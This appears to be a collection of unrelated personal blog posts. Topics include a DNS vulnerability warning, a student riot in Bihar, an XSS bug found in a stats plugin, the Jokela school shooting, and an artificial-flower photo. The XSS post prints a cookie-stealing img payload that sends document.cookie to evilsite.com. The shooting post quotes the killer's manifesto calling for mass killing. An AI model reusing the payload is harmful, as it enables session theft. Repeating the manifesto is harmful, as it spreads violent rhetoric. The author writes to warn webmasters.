K World

Guess you know what is DNS ?
If you don’t know what it is …
Its Domain Name System. All the servers will have some set of numbers to identify them (IP), to recognize them easily we give them a name (domain name) and for internet to work, DNS maps these names to numbers. (Duh, read wikipedia for more info)

For the techie folks who know whats DNS, you might have missed this news. There was a bug. It was just a bug when people din’t know. Few days before , its was a problem as bad people know that it exists. And couple of days before, it became a major problem as bad people got to know how to tame the bug and exploit it. And today, its frigging Pain in the A** as our dumb ISPs are not fixing their DNS servers.

Well, the bug is that bad people can manipulate DNS lookups. Which literally means, when you open Google.com, then can send you to Yahoo.com too. Search engines need not be a problem, but if they manipulate DNS of a bank … the answer is … somebody is gonna get hurt real badddddd

So, I request you to check (@Doxpara) whether your DNS server is vulnerable to such bug or not, and if it is, change it to OpenDNS (208.67.222.222 and 208.67.220.220) and stay secure. As of today, I’ve tested BSNL and Airtel DNS servers (Chennai) and both of them are vulnerable. Guess, we need to take a huge rod and shove it up into someone’s a** and make them fix their DNS servers so that we can stay secure.

For extra-super-terrestial technical folks, I need not tell you about this, but incase you missed it, check (@Securebits) the exploiter released.

Here are the keywords for the story.

• Bihar
• Students
• Angry
• Law
• Exams
• Rampage
• Boycott
• WTF ????

Here is the story.

Hundreds of law students in Bihar went on a rampage. Because of some issues while conduction of exams.

1. No water
2. No shade
3. No quiet environment
4. No white papers
5. No chairs
6. No tables

None of the above is the reason for those students’ anger. The reason is …

“They are denied to carry books, copies and mobile phones into the examination hall to COPY write their exam”

Yeah, sounds crazy, but that is the reason. This sounds even more crazy when you get to know that they actually set office and classrooms on fire because of that. Want to know the craziest thing of all .. All those students who wanted “unfair” means in writing their exams are …. LAW Students. Yeah !!! They are going to deliver justice in the court of law.

God bless India.

Well, its just not funny way, but very funny way. Neither through a HTTP GET nor a HTTP POST. But, it’s through a header. I haven’t read about this method of XSS up to now, but seriously, its silly and common. Usually webmasters read about the traffic of their websites and Referrer, User-Agent are very common headers they analyze to know the type of visitors and from which site they are coming.

I just spoofed my User-Agent header to “<script>alert(1)</script>”, and when I saw the stats page after that guess what, my stats plugin wasn’t sanitizing the input, and I got the alert window.

Now, going back to fix and report it. Take care about looking at your stats (especially in wordpress). One can rather keeping an alert, can keep some thing like this

<img
src=”javascript:document.images[1].src=%22http://evilsite.com/cookie.php?c%3D+document.cookie;”
style=visibility:hidden />

The above code will send the cookie to cookie.php page of evilsite.com and the hacker can collect the cookies there using a very simple code and he can become you just by using those cookies. This page has many vectors to use. It doesn’t teach you how to use, so, if you really know what you have to do, you must be knowing this page already.

Result, check your stats plugins and make sure that they are sanitizing all the inputs. Just don’t trust them. They can be very dangerous. Finishing yet another episode of “How do THEY do it ?”

An 18-year-old student gone nuts and killed Eight, more than 10 injured in Jokela High in Tuusala, Finland. As per a Finnish friend of mine, he was taken down by Karhu (something like SWAT of Finland) and now he is in a critical condition. This is what he wrote about himself on dreamland.

I am a cynical existentialist, antihuman humanist, antisocial socialdarwinist, realistic idealist and godlike atheist.

SI VIS PACEM, PARA BELLUM! JUSTITIA SUUM CUIQUE DISTRIBUIT! SIC SEMPER TYRANNIS!

I am prepared to fight and die for my cause. I, as a natural selector, will eliminate all who I see unfit, disgraces of human race and failures of natural selection.

You might ask yourselves, why did I do this and what do I want. Well, most of you are too arrogant and closed-minded to understand… You will proprably say me that I am”insane”, “crazy”, “psychopath”, “criminal” or crap like that. No, the truth is that I am just an animl, a human, an individual, a dissident.

I have had enough. I don’t want to be part of this fucked up society. Like some other wise people have said in the past, human race is not worth fighting for or saving… only worth killing. But… When my enemies will run and hide in fear when mentioning my name… When the gangsters of the corrupted governments have been shot in the streets… When the rule of idioracy and the democratic system has been replaced with justice… When intelligent people are finally free and rule the society instead of the idiocratic rule of majority… In that great day of deliverance, you will know what I want.
[copied and pasted from one of his pages]

Si Vis Pacem, Para Bellum! Justitia Suum Cuique Distribuit! Sic Semper Tyrannis! is a Latin Sentence - Translation is “If you seek peace, prepare for war ! Justice renders to everyone his due ! Thus always to tyrants !”

I can understand that he is completely pissed off by the society and decided to kill people. He actually wrote a Manifesto in English for also for English readers. He uploaded some videos and photos and he tried in every possible way to convince people that the is not a psycho but just a person who had enough of this world.

He is not dumb. But, his decision to kill people is stupid. I can tell that its a decision but not just aggression, as he created his manifesto, uploaded some videos in Youtube with title -”Jokela High School Massacre - 11/7/2007″. He has actually decided the date too.

I am self-aware and realize what is going on in society! I have a free mind! And I choose to be free rather than live like a robot or slave. You can say I have a “god complex”, sure… then you have a “group complex”! Compared to you retarded masses, I am actually godlike.

That is taken from his manifest which suggests that he might have been suppressed a lot by the society. My Finnish friend thinks that this guy must have been a nerd who had no-life and was hated by everyone else. That could be true - “Group Complex” and “Retarded Masses” are the phrases he used to describe others. If you read what he wrote about Naturality, You can understand that this guy got a very good intellectual knowledge.

He knew that people will take him as a psychopath. Yes, they certainly will take him as a psychopath because he is one psychopath killer. He tried in every possible way to convince us that he is not one. But, his convincing skills rather proved that he writes well. He would have made a very good writer if he wasn’t a psycho !!!

You can find the manifesto here as well as this web directory.

[Taken with Canon Digital Rebel XTi on 30 Sep 2007, 12.20 AM]

I’ll give you all I got
If that’s what you want
I’ll give you what I got and more
But just see me through and through
That’s all you got to do
But don’t you dare give dare give dare give me
Artificial Love

[Taken from Bambi - Artificial Love]

I like flowers, especially flowers with water drops on them. When ever I see them, I couldn’t stop myself from capturing them. Almost all the snaps I take are special to me. I see them again and again. While taking them, I take so much time that my friends usually get frustrated by the time I take to take a single shot. As I try to give 100% of myself to that particular shot while framing it, some times, I get decent shots like the above one.

You need not observe the picture carefully to find that the flower is artificial, but if you have to see carefully to find that those drops are not water drops. I really don’t have anything to tell anything about the camera or the shot or the mode or the focal length used to take the shot. There is something different I sense from the picture.

It’s beautiful. But, it’s fake … just like that special “someone” you met in your life. Everyone of us would have met that “someone” atleast once in our lives. That “someone” could be the person whom you’ve loved sincerely or the person whom you would have considered as your best friend or even a person from your family. If you think that you haven’t, the truth could be you haven’t sensed it or you are just one lucky person in this world. But, when you come to know that you are not a lucky person, all you would be doing is tracing through the steps written in one of my previous posts.

Everyone of us would have had some minor to major crushes or even serious loves which failed. For “you” who is reading this right now and comparing the artificiality of this flower to the artificiality of love that your “Ex” showed you … I’ve one thing to tell you.

The flower is fake just like her love
No big deal of blaming her now
The drops are fake so were your tears
Even a cyclone stops as the sky clears
You moved on for the greater future
That’s the same you would get for sure
[Some random rhyme is never a crime]

I wrote this blog post without thinking. One random thought and a very random post. If it makes any meaning, good; otherwise sorry for wasting your time. In a nutshell, I wanted to tell you one thing - If you are a victim of artificial love, just move on. It’s everywhere.